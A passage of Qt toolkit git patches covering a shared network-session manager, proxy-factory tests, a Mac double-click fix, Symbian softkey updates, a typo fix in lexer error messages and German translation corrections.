nativeProxyList) { + if (!systemProxyList.contains(proxy)) { + qWarning() << "Native proxy not found in system proxy list: " << + formatProxyName(proxy); + pass = false; + } + } + + if (!pass) + QFAIL("One or more system proxy lookup failures occured."); +} + +QTEST_MAIN(tst_QNetworkProxyFactory) +#include "tst_qnetworkproxyfactory.moc" -- cgit v0.12 From fa76fc577c138e0a8dd95671d3387cdc10a08c6e Mon Sep 17 00:00:00 2001 From: Jeremy Katz Date: Fri, 14 Jan 2011 14:46:54 +0100 Subject: file rename --- .../tst_qnetworkproxyfactory_symbian.cpp | 100 --------------------- 1 file changed, 100 deletions(-) delete mode 100644 tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory_symbian.cpp diff --git a/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory_symbian.cpp b/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory_symbian.cpp deleted file mode 100644 index 31521c3..0000000 --- a/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory_symbian.cpp +++ /dev/null @@ -1,100 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - - -#include - -#include -#include -#include - -class tst_QNetworkProxyFactory_symbian : public QObject { - Q_OBJECT -private slots: - void systemProxyForQuery() const; - -private: - QString formatProxyName(const QNetworkProxy & proxy) const; -}; - -QString tst_QNetworkProxyFactory_symbian::formatProxyName(const QNetworkProxy & proxy) const -{ - QString proxyName; - if (!proxy.user().isNull()) - proxyName.append("%1:%2@").arg(proxy.user(), proxy.password()); - proxyName.append("%1:%2").arg(proxy.hostName(), proxy.port()); - proxyName.append(" (type=%1, capabilities=%2)").arg(proxy.type(), proxy.capabilities()); - - return proxyName; -} - -void tst_QNetworkProxyFactory_symbian::systemProxyForQuery() const -{ - QNetworkProxyQuery query(QUrl(QString("http://www.abc.com")), QNetworkProxyQuery::UrlRequest); - QList systemProxyList = QNetworkProxyFactory::systemProxyForQuery(query); - bool pass = true; - QNetworkProxy proxy; - - QList nativeProxyList; - nativeProxyList << QNetworkProxy(QNetworkProxy::HttpProxy, QString("http://test.proxy.com"), 8080) << QNetworkProxy::NoProxy; - - foreach (proxy, systemProxyList) { - if (!nativeProxyList.contains(proxy)) { - qWarning() << "System proxy not found in native proxy list: " << - formatProxyName(proxy); - pass = false; - } - } - - foreach (proxy, nativeProxyList) { - if (!systemProxyList.contains(proxy)) { - qWarning() << "Native proxy not found in system proxy list: " << - formatProxyName(proxy); - pass = false; - } - } - - if (!pass) - QFAIL("One or more system proxy lookup failures occured."); -} - -QTEST_MAIN(tst_QNetworkProxyFactory_symbian) -#include "tst_qnetworkproxyfactory_symbian.moc" -- cgit v0.12 From ec4b73992eb7fb7254bb7a1524b8691ef2123b9f Mon Sep 17 00:00:00 2001 From: Shane Kearns Date: Wed, 5 Jan 2011 11:07:56 +0000 Subject: Workaround crash when multiple QNetworkAccessManager instances are used Instead of each QNetworkAccessManager owning a QNetworkSession, they now share a QNetworkSession if they have the same QNetworkConfiguration. QNetworkAccessManager now uses passive roaming instead of application level roaming. The state change signal (entering connected state) is used to indicate reconnection instead of being triggered when sending an ALR accept(). This preserves the previous behaviour, as QNAM always accepted the suggested access point from bearer mobility. In the case of multithreaded applications, one QNetworkSession will be created for each thread which uses QNetworkAccessManager, as QNetworkSession is not thread safe. Task-number: QT-4378 Reviewed-by: Markus Goetz Reviewed-by: juhvu --- src/network/access/qnetworkaccessmanager.cpp | 42 +++---------- src/network/access/qnetworkaccessmanager.h | 2 - src/network/access/qnetworkaccessmanager_p.h | 2 +- src/network/access/qnetworkreplyimpl.cpp | 6 +- src/network/bearer/bearer.pri | 6 +- src/network/bearer/qsharednetworksession.cpp | 90 ++++++++++++++++++++++++++++ src/network/bearer/qsharednetworksession_p.h | 81 +++++++++++++++++++++++++ 7 files changed, 188 insertions(+), 41 deletions(-) create mode 100644 src/network/bearer/qsharednetworksession.cpp create mode 100644 src/network/bearer/qsharednetworksession_p.h diff --git a/src/network/access/qnetworkaccessmanager.cpp b/src/network/access/qnetworkaccessmanager.cpp index 5ceaed0..6b8dc9e 100644 --- a/src/network/access/qnetworkaccessmanager.cpp +++ b/src/network/access/qnetworkaccessmanager.cpp @@ -48,6 +48,7 @@ #include "qabstractnetworkcache.h" #include "QtNetwork/qnetworksession.h" +#include "qsharednetworksession_p.h" #include "qnetworkaccesshttpbackend_p.h" #include "qnetworkaccessftpbackend_p.h" @@ -1354,11 +1355,8 @@ void QNetworkAccessManagerPrivate::createSession(const QNetworkConfiguration &co initializeSession = false; - if (networkSession) - delete networkSession; - if (!config.isValid()) { - networkSession = 0; + networkSession.clear(); online = false; if (networkAccessible == QNetworkAccessManager::NotAccessible) @@ -1369,18 +1367,12 @@ void QNetworkAccessManagerPrivate::createSession(const QNetworkConfiguration &co return; } - networkSession = new QNetworkSession(config, q); + networkSession = QSharedNetworkSessionManager::getSession(config); - QObject::connect(networkSession, SIGNAL(opened()), q, SIGNAL(networkSessionConnected())); - QObject::connect(networkSession, SIGNAL(closed()), q, SLOT(_q_networkSessionClosed())); - QObject::connect(networkSession, SIGNAL(stateChanged(QNetworkSession::State)), + QObject::connect(networkSession.data(), SIGNAL(opened()), q, SIGNAL(networkSessionConnected())); + QObject::connect(networkSession.data(), SIGNAL(closed()), q, SLOT(_q_networkSessionClosed())); + QObject::connect(networkSession.data(), SIGNAL(stateChanged(QNetworkSession::State)), q, SLOT(_q_networkSessionStateChanged(QNetworkSession::State))); - QObject::connect(networkSession, SIGNAL(newConfigurationActivated()), - q, SLOT(_q_networkSessionNewConfigurationActivated())); - QObject::connect(networkSession, - SIGNAL(preferredConfigurationChanged(QNetworkConfiguration,bool)), - q, - SLOT(_q_networkSessionPreferredConfigurationChanged(QNetworkConfiguration,bool))); _q_networkSessionStateChanged(networkSession->state()); } @@ -1390,32 +1382,16 @@ void QNetworkAccessManagerPrivate::_q_networkSessionClosed() if (networkSession) { networkConfiguration = networkSession->configuration().identifier(); - networkSession->deleteLater(); - networkSession = 0; - } -} - -void QNetworkAccessManagerPrivate::_q_networkSessionNewConfigurationActivated() -{ - Q_Q(QNetworkAccessManager); - - if (networkSession) { - networkSession->accept(); - - emit q->networkSessionConnected(); + networkSession.clear(); } } -void QNetworkAccessManagerPrivate::_q_networkSessionPreferredConfigurationChanged(const QNetworkConfiguration &, bool) -{ - if (networkSession) - networkSession->migrate(); -} - void QNetworkAccessManagerPrivate::_q_networkSessionStateChanged(QNetworkSession::State state) { Q_Q(QNetworkAccessManager); + if (state == QNetworkSession::Connected) + emit q->networkSessionConnected(); if (online) { if (state != QNetworkSession::Connected && state != QNetworkSession::Roaming) { online = false; diff --git a/src/network/access/qnetworkaccessmanager.h b/src/network/access/qnetworkaccessmanager.h index f3e502c..7ef009f 100644 --- a/src/network/access/qnetworkaccessmanager.h +++ b/src/network/access/qnetworkaccessmanager.h @@ -161,8 +161,6 @@ private: Q_PRIVATE_SLOT(d_func(), void _q_replySslErrors(QList)) #if !defined(QT_NO_BEARERMANAGEMENT) && !defined(QT_MOBILITY_BEARER) Q_PRIVATE_SLOT(d_func(), void _q_networkSessionClosed()) - Q_PRIVATE_SLOT(d_func(), void _q_networkSessionNewConfigurationActivated()) - Q_PRIVATE_SLOT(d_func(), void _q_networkSessionPreferredConfigurationChanged(QNetworkConfiguration,bool)) Q_PRIVATE_SLOT(d_func(), void _q_networkSessionStateChanged(QNetworkSession::State)) #endif }; diff --git a/src/network/access/qnetworkaccessmanager_p.h b/src/network/access/qnetworkaccessmanager_p.h index ee16c25..cf4d2f3 100644 --- a/src/network/access/qnetworkaccessmanager_p.h +++ b/src/network/access/qnetworkaccessmanager_p.h @@ -128,7 +128,7 @@ public: #endif #ifndef QT_NO_BEARERMANAGEMENT - QNetworkSession *networkSession; + QSharedPointer networkSession; QString networkConfiguration; QNetworkAccessManager::NetworkAccessibility networkAccessible; bool online; diff --git a/src/network/access/qnetworkreplyimpl.cpp b/src/network/access/qnetworkreplyimpl.cpp index 53d3b11..9d7082c 100644 --- a/src/network/access/qnetworkreplyimpl.cpp +++ b/src/network/access/qnetworkreplyimpl.cpp @@ -91,7 +91,7 @@ void QNetworkReplyImplPrivate::_q_startOperation() // state changes. state = WaitingForSession; - QNetworkSession *session = manager->d_func()->networkSession; + QNetworkSession *session = manager->d_func()->networkSession.data(); if (session) { Q_Q(QNetworkReplyImpl); @@ -246,7 +246,7 @@ void QNetworkReplyImplPrivate::_q_networkSessionConnected() if (manager.isNull()) return; - QNetworkSession *session = manager->d_func()->networkSession; + QNetworkSession *session = manager->d_func()->networkSession.data(); if (!session) return; @@ -633,7 +633,7 @@ void QNetworkReplyImplPrivate::finished() if (!manager.isNull()) { #ifndef QT_NO_BEARERMANAGEMENT - QNetworkSession *session = manager->d_func()->networkSession; + QNetworkSession *session = manager->d_func()->networkSession.data(); if (session && session->state() == QNetworkSession::Roaming && state == Working && errorCode != QNetworkReply::OperationCanceledError) { // only content with a known size will fail with a temporary network failure error diff --git a/src/network/bearer/bearer.pri b/src/network/bearer/bearer.pri index 44e97fd..684e02b 100644 --- a/src/network/bearer/bearer.pri +++ b/src/network/bearer/bearer.pri @@ -7,12 +7,14 @@ HEADERS += bearer/qnetworkconfiguration.h \ bearer/qnetworkconfiguration_p.h \ bearer/qnetworksession_p.h \ bearer/qbearerengine_p.h \ - bearer/qbearerplugin_p.h + bearer/qbearerplugin_p.h \ + bearer/qsharednetworksession_p.h SOURCES += bearer/qnetworksession.cpp \ bearer/qnetworkconfigmanager.cpp \ bearer/qnetworkconfiguration.cpp \ bearer/qnetworkconfigmanager_p.cpp \ bearer/qbearerengine.cpp \ - bearer/qbearerplugin.cpp + bearer/qbearerplugin.cpp \ + bearer/qsharednetworksession.cpp diff --git a/src/network/bearer/qsharednetworksession.cpp b/src/network/bearer/qsharednetworksession.cpp new file mode 100644 index 0000000..51b3a32 --- /dev/null +++ b/src/network/bearer/qsharednetworksession.cpp @@ -0,0 +1,90 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtNetwork module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qsharednetworksession_p.h" +#include "qbearerengine_p.h" +#include + +#ifndef QT_NO_BEARERMANAGEMENT + +QT_BEGIN_NAMESPACE + +QThreadStorage tls; + +inline QSharedNetworkSessionManager* sharedNetworkSessionManager() +{ + QSharedNetworkSessionManager* rv = tls.localData(); + if (!rv) { + rv = new QSharedNetworkSessionManager; + tls.setLocalData(rv); + } + return rv; +} + +QSharedPointer QSharedNetworkSessionManager::getSession(QNetworkConfiguration config) +{ + QSharedNetworkSessionManager *m(sharedNetworkSessionManager()); + //if already have a session, return it + if (m->sessions.contains(config)) { + QSharedPointer p = m->sessions.value(config).toStrongRef(); + if (!p.isNull()) + return p; + } + //otherwise make one + QSharedPointer session(new QNetworkSession(config)); + m->sessions[config] = session; + return session; +} + +void QSharedNetworkSessionManager::setSession(QNetworkConfiguration config, QSharedPointer session) +{ + QSharedNetworkSessionManager *m(sharedNetworkSessionManager()); + m->sessions[config] = session; +} + +uint qHash(const QNetworkConfiguration& config) +{ + return ((uint)config.type()) | (((uint)config.bearerType()) << 8) | (((uint)config.purpose()) << 16); +} + +QT_END_NAMESPACE + +#endif // QT_NO_BEARERMANAGEMENT diff --git a/src/network/bearer/qsharednetworksession_p.h b/src/network/bearer/qsharednetworksession_p.h new file mode 100644 index 0000000..dc84166 --- /dev/null +++ b/src/network/bearer/qsharednetworksession_p.h @@ -0,0 +1,81 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtNetwork module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QSHAREDNETWORKSESSIONPRIVATE_H +#define QSHAREDNETWORKSESSIONPRIVATE_H + +// +// W A R N I N G +// ------------- +// +// This file is not part of the Qt API. It exists purely as an +// implementation detail. This header file may change from version to +// version without notice, or even be removed. +// +// We mean it. +// + +#include "qnetworksession.h" +#include "qnetworkconfiguration.h" +#include +#include +#include +#include + +#ifndef QT_NO_BEARERMANAGEMENT + +QT_BEGIN_NAMESPACE + +class QSharedNetworkSessionManager +{ +public: + static QSharedPointer getSession(QNetworkConfiguration config); + static void setSession(QNetworkConfiguration config, QSharedPointer session); +private: + QHash > sessions; +}; + +QT_END_NAMESPACE + +#endif // QT_NO_BEARERMANAGEMENT + +#endif //QSHAREDNETWORKSESSIONPRIVATE_H + -- cgit v0.12 From c3d2d583121219836714609b250e4e52e33e393d Mon Sep 17 00:00:00 2001 From: Jeremy Katz Date: Sun, 16 Jan 2011 19:14:54 +0100 Subject: fixed CI gate flagged spelling error: occured -> occurred --- tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory.cpp b/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory.cpp index e770f30..10fa7c6 100644 --- a/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory.cpp +++ b/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory.cpp @@ -93,7 +93,7 @@ void tst_QNetworkProxyFactory::systemProxyForQuery() const } if (!pass) - QFAIL("One or more system proxy lookup failures occured."); + QFAIL("One or more system proxy lookup failures occurred."); } QTEST_MAIN(tst_QNetworkProxyFactory) -- cgit v0.12 From 4ea4bcc2ddea6fc6899c14bb50b22f58b51bf7ca Mon Sep 17 00:00:00 2001 From: Fabien Freling Date: Thu, 9 Dec 2010 13:55:32 +0100 Subject: Fix double click event on Mac OS X. Fix an issue where the double click would be triggered even with different mouse buttons. Task-number: QTBUG-8222 Reviewed-by: Richard Moe Gustavsen --- src/gui/kernel/qt_cocoa_helpers_mac.mm | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/gui/kernel/qt_cocoa_helpers_mac.mm b/src/gui/kernel/qt_cocoa_helpers_mac.mm index 462b30b..3820bfc 100644 --- a/src/gui/kernel/qt_cocoa_helpers_mac.mm +++ b/src/gui/kernel/qt_cocoa_helpers_mac.mm @@ -994,6 +994,7 @@ bool qt_mac_handleMouseEvent(void * /* NSView * */view, void * /* NSEvent * */ev Qt::KeyboardModifiers keyMods = qt_cocoaModifiers2QtModifiers([theEvent modifierFlags]); NSInteger clickCount = [theEvent clickCount]; Qt::MouseButtons buttons = 0; + static Qt::MouseButton previousButton = Qt::NoButton; { UInt32 mac_buttons; if (GetEventParameter(carbonEvent, kEventParamMouseChord, typeUInt32, 0, @@ -1012,7 +1013,7 @@ bool qt_mac_handleMouseEvent(void * /* NSView * */view, void * /* NSEvent * */ev #ifndef QT_NAMESPACE Q_ASSERT(clickCount > 0); #endif - if (clickCount % 2 == 0 && buttons == button) + if (clickCount % 2 == 0 && (previousButton == Qt::NoButton || previousButton == button)) eventType = QEvent::MouseButtonDblClick; if (button == Qt::LeftButton && (keyMods & Qt::MetaModifier)) { button = Qt::RightButton; @@ -1046,6 +1047,7 @@ bool qt_mac_handleMouseEvent(void * /* NSView * */view, void * /* NSEvent * */ev QContextMenuEvent qcme(QContextMenuEvent::Mouse, qlocalPoint, qglobalPoint, keyMods); qt_sendSpontaneousEvent(widgetToGetMouse, &qcme); } + previousButton = button; return true; #endif } -- cgit v0.12 From 37faa3ba7c66d14e1ecbf75e93d9f0d27fa57a76 Mon Sep 17 00:00:00 2001 From: mread Date: Mon, 17 Jan 2011 10:52:14 +0000 Subject: QTBUG-16110 updating the softkeys when app comes to foreground When an app is in the background and creates a window with softkeys, the softkeys are not updated when the app comes to the foreground, so they look faded. This change updates the softkeys when the app comes to the forground. Task-number: QTBUG-16110 Reviewed-by: Jason Barron --- src/gui/kernel/qapplication_s60.cpp | 3 +++ 1 file changed, 3 insertions(+) diff --git a/src/gui/kernel/qapplication_s60.cpp b/src/gui/kernel/qapplication_s60.cpp index 789f198..ba06312 100644 --- a/src/gui/kernel/qapplication_s60.cpp +++ b/src/gui/kernel/qapplication_s60.cpp @@ -2016,6 +2016,9 @@ int QApplicationPrivate::symbianProcessWsEvent(const QSymbianEvent *symbianEvent S60->wsSession().SetPointerCursorMode(EPointerCursorNormal); } #endif +#ifdef QT_SOFTKEYS_ENABLED + QSoftKeyManager::updateSoftKeys(); +#endif break; case EEventFocusLost: if (callSymbianEventFilters(symbianEvent)) -- cgit v0.12 From 9b1c0992f2f26a6f1570751f39b55d8b9a3da45d Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Wed, 12 Jan 2011 16:09:03 +0100 Subject: fix typo in error messages Task-number: QTBUG-16369 --- src/declarative/qml/parser/qdeclarativejslexer.cpp | 2 +- tools/linguist/lupdate/qscript.cpp | 2 +- tools/linguist/lupdate/qscript.g | 2 +- translations/linguist_de.ts | 2 +- translations/linguist_ja.ts | 2 +- translations/linguist_ru.ts | 2 +- translations/linguist_sl.ts | 2 +- translations/linguist_uk.ts | 2 +- translations/qt_de.ts | 2 +- translations/qt_fr.ts | 2 +- translations/qt_gl.ts | 2 +- translations/qt_hu.ts | 2 +- translations/qt_ja.ts | 2 +- translations/qt_pl.ts | 2 +- translations/qt_ru.ts | 2 +- translations/qt_sl.ts | 2 +- translations/qt_uk.ts | 2 +- 17 files changed, 17 insertions(+), 17 deletions(-) diff --git a/src/declarative/qml/parser/qdeclarativejslexer.cpp b/src/declarative/qml/parser/qdeclarativejslexer.cpp index af955a4..4dfef45 100644 --- a/src/declarative/qml/parser/qdeclarativejslexer.cpp +++ b/src/declarative/qml/parser/qdeclarativejslexer.cpp @@ -619,7 +619,7 @@ int Lexer::lex() } else { setDone(Bad); err = IllegalEscapeSequence; - errmsg = QCoreApplication::translate("QDeclarativeParser", "Illegal escape squence"); + errmsg = QCoreApplication::translate("QDeclarativeParser", "Illegal escape sequence"); } } else if (current == 'x') state = InHexEscape; diff --git a/tools/linguist/lupdate/qscript.cpp b/tools/linguist/lupdate/qscript.cpp index beeec22..23fb9f6 100644 --- a/tools/linguist/lupdate/qscript.cpp +++ b/tools/linguist/lupdate/qscript.cpp @@ -1528,7 +1528,7 @@ int QScript::Lexer::lex() } else { setDone(Bad); err = IllegalEscapeSequence; - errmsg = LU::tr("Illegal escape squence"); + errmsg = LU::tr("Illegal escape sequence"); } } else if (current == 'x') state = InHexEscape; diff --git a/tools/linguist/lupdate/qscript.g b/tools/linguist/lupdate/qscript.g index 8be20d0..fb4eee7 100644 --- a/tools/linguist/lupdate/qscript.g +++ b/tools/linguist/lupdate/qscript.g @@ -859,7 +859,7 @@ int QScript::Lexer::lex() } else { setDone(Bad); err = IllegalEscapeSequence; - errmsg = LU::tr("Illegal escape squence"); + errmsg = LU::tr("Illegal escape sequence"); } } else if (current == 'x') state = InHexEscape; diff --git a/translations/linguist_de.ts b/translations/linguist_de.ts index e9b5661..cb0b36d 100644 --- a/translations/linguist_de.ts +++ b/translations/linguist_de.ts @@ -908,7 +908,7 @@ Options: - Illegal escape squence + Illegal escape sequence diff --git a/translations/linguist_ja.ts b/translations/linguist_ja.ts index 4b2cbf7..40bb778 100644 --- a/translations/linguist_ja.ts +++ b/translations/linguist_ja.ts @@ -1112,7 +1112,7 @@ Qt TS XML). 新しく追加されたり変更されたメッセージは既存 ファイルの終端までに閉じられていない文字列 - Illegal escape squence + Illegal escape sequence 無効なエスケープシーケンス diff --git a/translations/linguist_ru.ts b/translations/linguist_ru.ts index db76e72..dfda98e 100644 --- a/translations/linguist_ru.ts +++ b/translations/linguist_ru.ts @@ -1155,7 +1155,7 @@ lupdate - это один из инструментов Qt Linguist. Он изв Незавершенный текст в конце строки - Illegal escape squence + Illegal escape sequence Неверная esc-последовательность diff --git a/translations/linguist_sl.ts b/translations/linguist_sl.ts index 27ca8d1..4499133 100644 --- a/translations/linguist_sl.ts +++ b/translations/linguist_sl.ts @@ -912,7 +912,7 @@ Options: - Illegal escape squence + Illegal escape sequence diff --git a/translations/linguist_uk.ts b/translations/linguist_uk.ts index 56aadab..56db6ba 100644 --- a/translations/linguist_uk.ts +++ b/translations/linguist_uk.ts @@ -1146,7 +1146,7 @@ lupdate - це частина набору програм Qt Linguist. Вона Незакритий рядок в кінці файлу - Illegal escape squence + Illegal escape sequence Неприпустима керуюча послідовність diff --git a/translations/qt_de.ts b/translations/qt_de.ts index cd7d782..dd8147f 100644 --- a/translations/qt_de.ts +++ b/translations/qt_de.ts @@ -1947,7 +1947,7 @@ nach Zeichenkette am Zeilenende nicht abgeschlossen - Illegal escape squence + Illegal escape sequence Ungültiges Escape-Sequenz diff --git a/translations/qt_fr.ts b/translations/qt_fr.ts index b1ded34..eb9f1b5 100644 --- a/translations/qt_fr.ts +++ b/translations/qt_fr.ts @@ -2205,7 +2205,7 @@ en Chaîne de caractères non fermée en fin de ligne - Illegal escape squence + Illegal escape sequence Séquence d'échappement illégale diff --git a/translations/qt_gl.ts b/translations/qt_gl.ts index 41e338f..1f3e02e 100644 --- a/translations/qt_gl.ts +++ b/translations/qt_gl.ts @@ -2238,7 +2238,7 @@ superior, inferior nin vcenter. Cadea non pechada no fin dunha liña - Illegal escape squence + Illegal escape sequence Secuencia de escape ilegal diff --git a/translations/qt_hu.ts b/translations/qt_hu.ts index d9b05d1..0497477 100644 --- a/translations/qt_hu.ts +++ b/translations/qt_hu.ts @@ -2619,7 +2619,7 @@ erre: - Illegal escape squence + Illegal escape sequence diff --git a/translations/qt_ja.ts b/translations/qt_ja.ts index bf31fe5..db8a917 100644 --- a/translations/qt_ja.ts +++ b/translations/qt_ja.ts @@ -1945,7 +1945,7 @@ to 文字列が行末で閉じていません - Illegal escape squence + Illegal escape sequence 無効なエスケープシーケンスです diff --git a/translations/qt_pl.ts b/translations/qt_pl.ts index 2b9a4df..37fbee1 100644 --- a/translations/qt_pl.ts +++ b/translations/qt_pl.ts @@ -1952,7 +1952,7 @@ na Niedomknięty ciąg na końcu linii - Illegal escape squence + Illegal escape sequence diff --git a/translations/qt_ru.ts b/translations/qt_ru.ts index 299799d..e20fc0c 100644 --- a/translations/qt_ru.ts +++ b/translations/qt_ru.ts @@ -1950,7 +1950,7 @@ to Незакрытый текст в конце строки - Illegal escape squence + Illegal escape sequence Недопустимая esc-последовательность diff --git a/translations/qt_sl.ts b/translations/qt_sl.ts index e9e2e75..98cca91 100644 --- a/translations/qt_sl.ts +++ b/translations/qt_sl.ts @@ -1961,7 +1961,7 @@ v Nezaprt niz na koncu vrstice - Illegal escape squence + Illegal escape sequence Neveljavno ubežno zaporedje diff --git a/translations/qt_uk.ts b/translations/qt_uk.ts index 18bac2e..7f396ad 100644 --- a/translations/qt_uk.ts +++ b/translations/qt_uk.ts @@ -1925,7 +1925,7 @@ to Незакритий рядок в кінці файлу - Illegal escape squence + Illegal escape sequence Неприпустима керуюча послідовність -- cgit v0.12 From fc954809cae4a24ada47ff35b9ffbabe0b451835 Mon Sep 17 00:00:00 2001 From: Frederik Schwarzer Date: Wed, 12 Jan 2011 13:42:59 +0100 Subject: German translation fixes MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - some entity mismatches (apos -> quot) - Boolesch -> boolesch - Hangul is translated Hangeul - schlug fehl -> ist fehlgeschlagen - unify: next; previous -> nächte[sr]; vorherige[sr] - unify: Encoding -> Kodierung ... and some various fixes more. Merge-request: 2535 Reviewed-by: Oswald Buddenhagen --- translations/qt_de.ts | 172 +++++++++++++++++++++++++------------------------- 1 file changed, 86 insertions(+), 86 deletions(-) diff --git a/translations/qt_de.ts b/translations/qt_de.ts index dd8147f..f56978f 100644 --- a/translations/qt_de.ts +++ b/translations/qt_de.ts @@ -128,7 +128,7 @@ Bitte überprüfen Sie Ihre GStreamer-Installation und stellen Sie sicher, dass Plugin codec installation failed for codec: %0 - Die Installation des Codec-Plugins schlug fehl für: %0 + Die Installation des Codec-Plugins ist fehlgeschlagen für: %0 A required codec is missing. You need to install the following codec(s) to play this content: %0 @@ -314,7 +314,7 @@ Bitte überprüfen Sie Ihre GStreamer-Installation und stellen Sie sicher, dass Loading clip failed - Das Laden des Clips schlug fehl + Das Laden des Clips ist fehlgeschlagen Playback complete @@ -1196,7 +1196,7 @@ nach %1: ftok failed QSystemSemaphore - %1: ftok-Aufruf schlug fehl + %1: ftok-Aufruf ist fehlgeschlagen %1: already exists @@ -1288,11 +1288,11 @@ nach QDeclarativeAbstractAnimation Cannot animate non-existent property "%1" - Die Eigenschaft '%1" existiert nicht und kann daher nicht animiert werden + Die Eigenschaft "%1" existiert nicht und kann daher nicht animiert werden Cannot animate read-only property "%1" - Die Eigenschaft '%1" ist schreibgeschützt und kann daher nicht animiert werden + Die Eigenschaft "%1" ist schreibgeschützt und kann daher nicht animiert werden Animation is an abstract class @@ -1350,7 +1350,7 @@ nach Baseline anchor cannot be used in conjunction with top, bottom, or vcenter anchors. - Ein Baseline-Anker darf nicht mit zusammen mit weiteren Ankerangaben für oben, unten und vertikal zentriert verwendet werden. + Ein Baseline-Anker darf nicht zusammen mit weiteren Ankerangaben für oben, unten und vertikal zentriert verwendet werden. Cannot anchor a vertical edge to a horizontal edge. @@ -1375,14 +1375,14 @@ nach QDeclarativeBinding Binding loop detected for property "%1" - Bei der für die Eigenschaft "%1" angegebenen Bindung wurde eine Endlosschleife festgestellt + Bei der für die Eigenschaft "%1" angegebenen Bindung wurde eine Endlosschleife festgestellt QDeclarativeCompiledBindings Binding loop detected for property "%1" - Bei der für die Eigenschaft "%1" angegebenen Bindung wurde eine Endlosschleife festgestellt + Bei der für die Eigenschaft "%1" angegebenen Bindung wurde eine Endlosschleife festgestellt @@ -1393,7 +1393,7 @@ nach Invalid property assignment: unknown enumeration - Ungültige Zuweisung bei Eigenschaft: Ungültiger Aufzählungswert + Ungültige Zuweisung bei Eigenschaft: Unbekannter Aufzählungswert Invalid property assignment: string expected @@ -1449,7 +1449,7 @@ nach Invalid property assignment: boolean expected - Ungültige Zuweisung bei Eigenschaft: Es wird ein Boolescher Wert erwartet + Ungültige Zuweisung bei Eigenschaft: Es wird ein boolescher Wert erwartet Invalid property assignment: 3D vector expected @@ -1465,7 +1465,7 @@ nach Component elements may not contain properties other than id - Komponenten dürfen außer id keine weiteren Eigenschaften enthalten. + Komponenten dürfen außer id keine weiteren Eigenschaften enthalten Invalid component id specification @@ -1525,7 +1525,7 @@ nach Incorrectly specified signal assignment - + Angegebene Signalzuweisung ist nicht korrekt Invalid property assignment: number expected @@ -1573,7 +1573,7 @@ nach Unexpected object assignment - Zuweisung des Objekts nicht zulässig + Unerwartete Zuweisung des Objekts Cannot assign object to list @@ -1669,7 +1669,7 @@ nach IDs must start with a letter or underscore - Id-Werte müssen mit einem Buchstaben oder dem Zeichen '_' beginnen + Id-Werte müssen mit einem Buchstaben oder Unterstrich beginnen IDs must contain only letters, numbers, and underscores @@ -1726,7 +1726,7 @@ nach 